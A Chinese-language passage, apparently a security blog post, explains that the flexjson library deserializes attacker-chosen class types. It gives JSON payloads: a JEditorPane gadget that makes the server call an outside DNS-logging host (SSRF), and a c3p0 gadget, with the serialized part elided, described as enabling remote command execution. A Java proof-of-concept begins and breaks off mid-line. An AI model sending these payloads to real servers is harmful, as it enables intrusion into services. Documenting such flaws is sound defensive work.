引言
flexjson 在反序列化时,flexjson自身没有任何控制,可以导致,客户端构造任意类型的序列化json数据,导致服务端反序列化时,触发恶意类的初始化,威胁服务端安全,如下例子 使用javax.swing.JEditorPane 类,通过其page属性的初始化,可以进行任意url嗅探,同样的可以利用
String json5 = “{“class”:“javax.swing.JEditorPane”,“page”:“http://ddd.wanghao723.ns.dnsl0g.cn/”}”;
如下json2字符串,利用com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,攻击者可以直接进行远程命令
String json2 = "{“class”:“com.mchange.v2.c3p0.WrapperConnectionPoolDataSource”,“userOverridesAsString”:“HexAsciiSerializedMap:xxxx”}
javax.swing.JEditorPane 的ssrf利用效果
代码如下:
import flexjson.JSONDeserializer;
public static void main(String[] args) {
final JSONDeserializer<Object> objectJSONDeserializer = new JSONDeserializer<>();
String json2 = "{\"class\":\"com.mchange.v2.c3p0.WrapperConnectio